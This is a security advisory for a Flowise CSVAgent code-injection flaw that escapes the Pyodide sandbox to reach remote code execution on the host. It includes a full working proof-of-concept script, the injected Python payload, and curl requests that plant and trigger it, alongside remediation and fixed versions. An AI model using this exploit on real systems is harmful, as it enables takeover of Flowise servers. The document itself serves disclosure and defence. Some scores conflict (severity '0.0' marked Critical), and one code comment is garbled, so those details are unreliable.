GHSA-4j8x-x6v7-w9rq CVE-2026-69264
Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 1.11%
- Chance of exploitation in the next 30 days. Higher than 65.98% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
Flowise's CSVAgent interpolates an attacker-controlled segment of the
csvFile data URI directly into a Python source-code template that is then
executed by Pyodide. Because Pyodide is loaded with the default js bridge
to globalThis (which on Node.js exposes eval and dynamic import()), the
attacker can break out of the Python string literal, hand a JS string to
js.eval, dynamically import any Node built-in module (fs, child_process,
…), and execute arbitrary file I/O or OS commands as the Flowise process.
The two validator paths around this code (validatePythonCodeForDataFrame
and validateCustomReadCSVFunction) are never applied to the bootstrap
template.
A workspace user with chatflows:create (or any agentflows/chatflows
update permission) plants a CSV Agent node with a crafted csvFile. Once the
chatflow is exposed via the (whitelisted, public) POST /api/v1/prediction/:id
endpoint, any unauthenticated request triggers the host RCE.
Details
Vulnerable file: packages/components/nodes/agents/CSVAgent/CSVAgent.ts
The run() method extracts the file segment from the data URI by splitting on
, and using two pop() calls (lines 127–138):
} else {
if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
files = JSON.parse(csvFileBase64)
} else {
files = [csvFileBase64]
}
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop() // discards trailing filename segment
base64String += splitDataURI.pop() ?? '' // captures the segment we attack
}
}
The captured base64String is then interpolated verbatim into a Python
source string at lines 156–171:
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}" // ← line 161: interpolation sink
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code) // ← line 171: sink
Validator gaps:
validateCustomReadCSVFunction(customReadCSVFunc)runs on line 147, but this only validates thecustomReadCSVfield, notbase64String.validatePythonCodeForDataFrame(pythonCode)runs on line 198, but only against the LLM-emitted Python that runs later — never against this bootstrap template.- No content check (
^[A-Za-z0-9+/=]*$) is applied tobase64Stringbefore interpolation.
Pyodide configuration (packages/components/nodes/agents/CSVAgent/core.ts,
lines 7–16):
export async function LoadPyodide(): Promise<PyodideInterface> {
if (pyodideInstance === undefined) {
const { loadPyodide } = await import('pyodide')
const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') }
pyodideInstance = await loadPyodide(obj)
await pyodideInstance.loadPackage(['pandas', 'numpy'])
}
return pyodideInstance
}
Pyodide is loaded with default options. On Node.js, the default js module
inside Pyodide bridges to globalThis, exposing the JS eval function and
top-level dynamic import(). From injected Python, the attacker runs:
import js
await js.eval(
"(async () => {"
" const fs = await import('fs');"
" fs.writeFileSync('proof.txt', 'pwned');"
"})()"
)
…which executes in the host Node.js process, not inside Pyodide's WASM
sandbox. Substituting await import('child_process') for await import('fs')
yields arbitrary OS-command execution via cp.execSync(...) with the same
primitive.
Node-version note. The original PoC for this issue used
js.process.mainModule.require("child_process"), which is a one-liner but only works on Node ≤ 13 becauseprocess.mainModulewas deprecated and now returnsundefinedon Node 14+. Thejs.eval+ dynamic-import()form above works on any Node 13.2+ in both CommonJS and ESM contexts, and was confirmed end-to-end against a stockflowise@3.1.2running on Node 20.20.2 — see Verified end-to-end against live Flowise below.
Trigger path (post-plant): the route POST /api/v1/prediction/:id is in
WHITELIST_URLS (packages/server/src/utils/constants.ts:12); when the
chatflow has no apikeyid set, it is reachable unauthenticated. A prediction
request runs the chatflow, instantiates CSVAgent, and executes the malicious
bootstrap.
PoC
Verified end-to-end on the cloned repo (commit
a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d, the same commit the prior audit
was based on).
Reproducer setup
Two files. Save the first as package.json, the second as
repro_a1_pyodide.js, then npm install && node repro_a1_pyodide.js in the
same directory.
package.json:
{
"name": "poc-flowise-s1",
"version": "1.0.0",
"type": "commonjs",
"dependencies": {
"pyodide": "^0.29.3"
}
}
repro_a1_pyodide.js — mirrors CSVAgent.ts:127-138 (the data-URI
parser) and :156-171 (the Python template), then runs the assembled Python
through real Pyodide. The injection segment is checked for commas before
assembly to confirm it cannot be fragmented by the JS-side split(',').
// Full host-RCE PoC for Flowise CSVAgent base64-injection.
//
// Loads real pyodide (matching how core.ts:LoadPyodide() boots it) and runs
// the Python that CSVAgent.ts:156-170 would assemble for an attacker-controlled
// csvFile data URI. Demonstrates:
// 1. JS-side template-literal interpolation produces malicious Python
// 2. validatePythonCodeForDataFrame is bypassed (it never inspects this code path)
// 3. Pyodide-on-Node `js` bridge reaches Node's fs module via dynamic
// import('fs') -> host file write
//
// CONSTRAINTS:
// * csvFile is split on `,` by the agent (CSVAgent.ts:135-137) — segment[2]
// of the data URI is what becomes `base64_string`, so this segment must
// contain NO raw `,` bytes.
// * Inside a Python double-quoted string literal, `,` is the escape
// for `,`. The data-URI parser sees the 6 raw bytes `\`, `u`, `0`, `0`,
// `2`, `c` (no commas), but Python's lexer turns them into commas at
// runtime — letting us pass multiple arguments to JS functions inside
// the Python source.
//
// NODE-VERSION NOTE: an earlier revision of this PoC used
// `cp = js.process.mainModule.require("child_process"); cp.execSync(...)`
// which is shorter but only works on Node ≤ 13 — `process.mainModule` was
// deprecated and now returns `undefined` on Node 14+, so the inner
// `.require(...)` silently no-ops. The `js.eval` + dynamic-`import()` form
// below works on any Node 13.2+ in both CommonJS and ESM contexts and was
// confirmed end-to-end against `flowise@3.1.2` running on Node 20.20.2.
const fs = require('fs')
const path = require('path')
const { loadPyodide } = require('pyodide')
const proofName = 'flowise_a1_pyodide_proof.txt'
const proofPath = path.resolve(__dirname, proofName)
const proofMarker = 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'
// --- Attacker payload (Python; comma-free) ----------------------------------
// Closes the `base64_string = "` literal with `";`, runs malicious Python,
// then `#` comments out the surviving closing `"` so the rest of the
// bootstrap template still parses.
const pythonInjection =
'";\n' +
'import js\n' +
`await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('${proofName}'\\u002c '${proofMarker}'); })()")\n` +
'#'
// Sanity: any commas would fragment the injection on the JS side.
if (pythonInjection.includes(',')) {
throw new Error('PoC bug: injection segment contains a comma — would be split by csvFile.split(",")')
}
const csvFile = `data:text/csv;base64,A,${pythonInjection},IGNORED`
// --- JS side: mirror CSVAgent.ts:127-138 ------------------------------------
const csvFileBase64 = csvFile
const files = csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']') ? JSON.parse(csvFileBase64) : [csvFileBase64]
let base64String = ''
for (const file of files) {
if (!file) continue
const splitDataURI = file.split(',')
splitDataURI.pop()
base64String += splitDataURI.pop() ?? ''
}
// --- JS side: mirror CSVAgent.ts:156-170 (pandas import omitted) ------------
// We omit `import pandas as pd` so we don't need to load pandas (~30 MB) just
// to demonstrate the injection. The real flow's pyodide instance preloads
// pandas via LoadPyodide() (core.ts:12). The injection point and validator
// bypass are identical either way.
const code = `import base64
from io import StringIO
import json
base64_string = "${base64String}"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
print("post-injection bootstrap continued; base64_string =", repr(base64_string))
`
console.log('--- Assembled Python (passed verbatim to pyodide.runPythonAsync) ---')
console.log(code)
console.log('--- end ---\n')
;(async () => {
try { fs.unlinkSync(proofPath) } catch {}
console.log('[*] Loading pyodide...')
const pyodide = await loadPyodide()
console.log('[*] Pyodide loaded; running attacker-assembled Python...\n')
try {
await pyodide.runPythonAsync(code)
} catch (e) {
console.log('[!] runPythonAsync threw (the bootstrap may fail AFTER the injection has executed):')
console.log(String(e).split('\n').slice(0, 8).join('\n'))
}
// give the spawned writeFileSync a moment to flush
await new Promise((r) => setTimeout(r, 500))
console.log('\n--- Proof file at ' + proofPath + ' ---')
if (fs.existsSync(proofPath)) {
console.log(fs.readFileSync(proofPath, 'utf-8').trim())
console.log('\n[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.')
} else {
console.log('[-] Proof file not present.')
}
})()
What gets assembled
After the two pop() calls in CSVAgent.ts:135-137 extract the third comma-separated segment, the Python text passed to pyodide.runPythonAsync becomes (note that Python's lexer resolves the , escapes inside the string literal back to commas, so the JS code actually receives fs.writeFileSync('proof', 'marker')):
import base64
from io import StringIO
import json
base64_string = "";
import js
await js.eval("(async () => { const fs = await import('fs'); fs.writeFileSync('flowise_a1_pyodide_proof.txt', 'FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import'); })()")
#"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
...
The "; closes line 161's string literal; the injected statements execute
(awaiting the JS Promise that writes the proof file); the trailing #
comments out the dangling " so the rest of the bootstrap parses. The
remaining b64decode("") returns b'' and pd.read_csv (in the live
template) then raises pandas.errors.EmptyDataError, but the
fs.writeFileSync(...) call has already fired in the Node host.
Observed output (after deleting any prior proof file)
[*] Loading pyodide...
[*] Pyodide loaded; running attacker-assembled Python...
--- Proof file at .../flowise_a1_pyodide_proof.txt ---
FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import
[+] HOST RCE CONFIRMED: file written by the Node host process via the pyodide js-bridge.
The proof file flowise_a1_pyodide_proof.txt is written by the Node host
process via the Pyodide js bridge → js.eval(...) →
(await import('fs')).writeFileSync(...), confirming the escape from the
Pyodide WASM sandbox. The standalone repro omits import pandas, so no
post-injection exception is raised — but the live template (pandas.read_csv
on the empty buffer) throws pandas.errors.EmptyDataError after the host
write has already happened, which is exactly the symptom an operator sees in
the chat panel.
Verified end-to-end against live Flowise
The standalone repro above proves the validator-bypass + sandbox-escape
primitive in isolation. The same payload was additionally verified against a
stock flowise@3.1.2 install on Node 20.20.2:
| Step | Action |
|---|---|
| 1 | npm install -g flowise (Node 20.20.2, Linux x64) |
| 2 | flowise start → bind on :3000 |
| 3 | UI: create admin + dummy OpenAI credential (any string for the API key — never validated; the exploit fires before the LLM is invoked) |
| 4 | Plant the attached evil-csvagent-flow.json in the chatflows DB (UI import or POST /api/v1/chatflows) |
| 5 | Open the chatflow → click chat → send any message |
| 6 | Chat panel shows pandas.errors.EmptyDataError: No columns to parse from file |
| 7 | /home/<user>/flowise_a1_proof.txt is now present, 46 bytes, content FLOWISE_A1_HOST_RCE_via_pyodide_dynamic_import, owner-uid matches the Flowise process uid |
Reproduction artifacts (evil-csvagent-flow.json, build-flow-v2.js,
test-flow.js, the captured evidence-bundle.txt) live at
pocs/S1-csvagent-csvfile-rce/triage-response/. The chatflow JSON is built
verbatim from Flowise's bundled marketplaces/chatflows/CSV Agent.json
template with three minimal edits — the malicious csvFile data URI on
csvAgent_0, a placeholder credential on chatOpenAI_0, and the sticky
note removed — so it imports cleanly into any Flowise 3.x without the
reactFlowNodeData.inputParams.find(...) 500 the maintainer initially saw
when handed a hand-crafted minimal flow.
End-to-end against a live Flowise instance
The local PoC above proves the validator-bypass + sandbox-escape primitive. To reach the same primitive over HTTP against a deployed Flowise, two requests suffice:
# Step 1 — authenticated chatflow author (any user with chatflows:create
# in OSS, this is typically every registered user) plants the flow.
# evil-csvagent-flow.json is a chatflow whose csvAgent node has
# inputs.csvFile = "data:text/csv;base64,A,<comma-free python payload>,IGNORED"
curl -X POST https://target/api/v1/chatflows \
-H "Authorization: Bearer <api-key with chatflows:create>" \
-H "Content-Type: application/json" \
-d @evil-csvagent-flow.json
# → returns chatflow id, e.g. "<flow-uuid>"
# Step 2 — anyone, no auth (the route is whitelisted at
# packages/server/src/utils/constants.ts:12) triggers execution:
curl -X POST https://target/api/v1/prediction/<flow-uuid> \
-H "Content-Type: application/json" \
-d '{"question":"go"}'
Step 1 is the only authenticated step; Step 2 is unauthenticated when
chatflow.apikeyid is unset (the default for newly created chatflows).
Impact
- Class: Remote Code Execution via Python-template injection escaping the
Pyodide sandbox through the
jsbridge. - Affected: every Flowise deployment that exposes a chatflow containing a
CSVAgentnode wherecsvFileis operator-supplied (i.e., overridable vianodeOverridesfor the API caller, or planted by any user with chatflow edit permission). - Prerequisites: one user with
chatflows:create/chatflows:update/agentflows:create/agentflows:updateto plant the chatflow once. The trigger is unauthenticated when the chatflow has noapikeyidset (the default for newly created chatflows). - Result: arbitrary OS-command execution as the Flowise process. Direct access to Flowise's encrypted-credentials key file, the entire database, the host filesystem, and any network resource the host can reach.
Metadata
- Affected versions: Confirmed at commit
a3ffe6611b0986d646b9cd8bb8787d4fdcf9be6d(main, 2026-04-28) and atflowise@3.1.2. The vulnerable code (splitDataURI.pop()+ template-string interpolation) appears unchanged across this range. Earlier 3.x versions with the same data-URI parsing pattern are also believed to be affected, but I did not verify each historical tag. - Fixed version: Unpatched at the audited commit.
- CVSS v3.1:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H→ Base score 9.9 (Critical).- AV:N — public
/api/v1/prediction/:idtrigger. - AC:L — deterministic; no race / timing.
- PR:L — one user with
chatflows:create(or equivalent) plants the chatflow. In OSS deployments, any registered user typically has this. - UI:N — no user interaction required at trigger time.
- S:C — Pyodide's WASM/Python sandbox is the intended security authority
for this code path; the
jsbridge escape and the validator bypass break out to the Node host process. - C:H / I:H / A:H — full host compromise.
- AV:N — public
- CWE: CWE-94 (Improper Control of Generation of Code: 'Code Injection'); more specifically CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code: 'Eval Injection').
Remediation
Maintainer fix (preferred — eliminates string-interpolation entirely):
pass the base64 value through Pyodide's globals.set API instead of
template-string interpolation. In packages/components/nodes/agents/CSVAgent/CSVAgent.ts,
replace the construction at lines 156–171 with something like:
const pyodide = await LoadPyodide()
pyodide.globals.set('base64_string', base64String)
const code = `import pandas as pd
import base64
from io import StringIO
import json
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)
This keeps the value as a Python str object that never enters the source
text. Apply the same change to AirtableAgent.ts if it follows the same
pattern.
Defense in depth (recommended as well):
- Validate
base64Stringagainst^[A-Za-z0-9+/=]*$before interpolation (rejects every escape character used in the PoC). - Disable Pyodide's
jsmodule on load. Pyodide supportsloadPyodide({ jsglobals: {} })or thejs-module-removal recipe; either prevents the bridge toglobalThis.processon Node.js. Apply inpackages/components/nodes/agents/CSVAgent/core.ts:LoadPyodide. - Run
validatePythonCodeForDataFrame(or a stricter equivalent) over the bootstrap template, not only over the LLM-emitted code. The current ordering inverts the trust assumption. - Add a positive allow-list to
validateCustomReadCSVFunctionenumerating only safe pandas readers (e.g.,read_csvand column-typed forms); excluderead_pickle,read_html,read_xml,read_parquet,read_orc,read_feather,read_json(these are independently exploitable — see S2/S3 in the submission roadmap).
User mitigations until a patch ships:
- Set
chatflow.apikeyidon every chatflow that uses CSVAgent sovalidateFlowAPIKeyenforces auth on/api/v1/prediction/:id. - Set
chatbotConfig.allowedOriginsto a strict list (note: this only defends against browser callers, not curl/server-side). - Restrict
chatflows:create/agentflows:createpermissions to trusted users only. - Where possible, strip
csvFilefrom thenodeOverridesallow-list on affected chatflows so it cannot be supplied at prediction time.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| flowise | < 3.1.3 |
3.1.3 |
| flowise-components | < 3.1.3 |
3.1.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
flowise npm → 3.1.3
- npm
npm install flowise@3.1.3- yarn
yarn add flowise@3.1.3- pnpm
pnpm add flowise@3.1.3
flowise-components npm → 3.1.3
- npm
npm install flowise-components@3.1.3- yarn
yarn add flowise-components@3.1.3- pnpm
pnpm add flowise-components@3.1.3
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- High
- Integrity (subsequent systems)
- High
- Availability (subsequent systems)
- High
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
How to prevent it
- Architecture and Design, Implementation: If possible, refactor your code so that it does not need to use eval() at all.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass | Critical | Also affects flowise |
| GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium | High | Also affects flowise |
| GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service | Critical | Also affects flowise |
| GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability | Critical | Also affects flowise |
| GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation | High | Also affects flowise |
| GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials | Medium | Also affects flowise |
| GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint | Medium | Also affects flowise |
| GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak | High | Also affects flowise |
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